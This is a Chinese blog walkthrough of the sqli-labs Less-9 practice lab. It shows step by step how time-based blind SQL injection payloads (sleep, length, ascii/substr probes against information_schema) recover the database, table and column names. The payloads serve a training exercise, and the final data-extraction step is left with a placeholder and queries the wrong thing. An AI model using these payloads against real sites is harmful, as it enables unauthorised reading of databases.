网络安全]sqli-labs Less-9 解题详析

简介: 网络安全]sqli-labs Less-9 解题详析

判断注入类型

输入

?id=1' and sleep(5) --+

发现时间延迟

输入

?id=1 and sleep(5) --+

时间并未延迟,说明没有闭合单引号会导致语句错误

因此后端为单引号字符型查询


查库名

判断数据库名称长度

?id=1' and if(length(database())=8,sleep(5),1) --+

回显延迟,说明数据库名长度为8

判断数据库名称组成

判断第一个字符,输入

?id=1' and if(ascii(substr(database(),1,1))>90,sleep(5),1) --+

页面延迟明显,说明第一个字符的ASCII值大于90

输入

1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+

页面延迟明显,说明第一个字符为 s

同理得到数据库名为security


查表名

判断表个数

输入

?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1) --+

页面延迟明显,说明表个数为 4

获取第一个表名称长度:

输入

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) --+

延迟明显,说明第一个表名称长度为 6

获取表名称组成

以第一个表的名称组成为例:

输入以下语句即可获得第一个表名称的第一个字符:

?id=1' and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'security' limit 1) >= 100 and sleep(5) --+

页面延迟明显,说明第一个字符的ASCII值大于等于100

?id=1' and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'security' limit 1) = 101 and sleep(5) --+

延迟明显,说明第一个表名称的第一个字符为 e

最终得到第一个表名称为emails


查列名

获取列数

?id=1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name= 'emails')=2,sleep(5),1) --+ 

延迟明显,说明列数为 2

获取列名长度

获取第一列名称长度

?id=1' and if(length(substr((select column_name from information_schema.columns where table_name= 'emails' limit 0,1),1))=2,sleep(5),1) --+

延迟明显,说明第一列名称长度为 2

获取列名字符组成

获取第一个列名的第一个字符

?id=1' and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'emails' limit 0,1) =105, sleep(5), 1) --+

延迟明显,说明第一个列名的第一个字符为i


查字段

获取 xx 列的第一个字段的第一个字符

?id=1' and if((select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name = 'emails' limit 0,1)判断表达式, sleep(5), 1) --+

同理,即可查出所有字段内容。


总结

以上为[网络安全]sqli-labs Less-9 解题详析,后续将分享[网络安全]sqli-labs Less-10 解题详析

原理及姿势可参考:[网络安全]SQL注入原理及常见攻击方法简析

我是秋说,我们下次见。

目录
相关文章
|
22天前
|
网络协议 Unix Linux
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
35 0
|
22天前
|
安全 网络协议 网络安全
【网络安全 | 渗透工具/信息收集/域名爆破】SubDomainsBrute安装及使用详析
【网络安全 | 渗透工具/信息收集/域名爆破】SubDomainsBrute安装及使用详析
21 0
|
22天前
|
网络安全
【网络安全 | 渗透工具/信息收集/域名爆破】Layer子域名挖掘机安装及使用详析
【网络安全 | 渗透工具/信息收集/域名爆破】Layer子域名挖掘机安装及使用详析
61 0
|
22天前
|
Oracle 关系型数据库 MySQL
【网络安全 | 渗透工具】Hydra工具安装、使用详析
【网络安全 | 渗透工具】Hydra工具安装、使用详析
25 0
|
22天前
|
网络安全 数据安全/隐私保护
【网络安全 | 靶场搭建】基于Kali的FTP搭建流程及FileZilla连接、报错详析
【网络安全 | 靶场搭建】基于Kali的FTP搭建流程及FileZilla连接、报错详析
18 0
|
22天前
|
安全 Java 网络安全
【网络安全 | 扫描器】御剑安装及使用教程详析
【网络安全 | 扫描器】御剑安装及使用教程详析
23 0
|
22天前
|
Web App开发 算法 网络安全
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
27 0
|
22天前
|
存储 安全 生物认证
【网络安全 | 指纹识别工具】WhatWeb使用详析
【网络安全 | 指纹识别工具】WhatWeb使用详析
10 0
【网络安全 | 指纹识别工具】WhatWeb使用详析
|
22天前
|
网络安全 虚拟化
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
31 0
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
|
22天前
|
前端开发 安全 JavaScript
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
15 0

热门文章

最新文章